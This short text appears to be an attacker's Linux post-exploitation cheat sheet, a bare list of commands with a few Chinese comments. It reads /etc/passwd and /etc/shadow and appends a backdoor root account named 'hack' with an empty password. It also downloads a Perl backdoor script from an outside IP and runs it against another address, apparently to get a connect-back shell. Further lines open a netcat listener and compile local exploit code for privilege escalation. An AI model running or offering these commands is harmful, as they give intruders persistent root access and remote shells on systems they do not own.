cat /etc/passwd | grep "/bin/bash" cat /etc/passwd | grep "root" echo hack:x:0:0:root:/root:/bin/bash >>/etc/passwd
cat /etc/shadow echo hack::133380:0:99999:7::: >>/etc/shadow wget http://58.19.202.2x/back.pl passwd hack
ps -aux
whoami uname -a nc -vv -lp 123456
cd test;wget http://www.zttop.cn perl back.pl 58.252.46.142 60 ls
which gcc gcc exp.c -o exp gcc -o brk brk.c -static
uptime //看在线时间 cat /etc/issue //看版本 |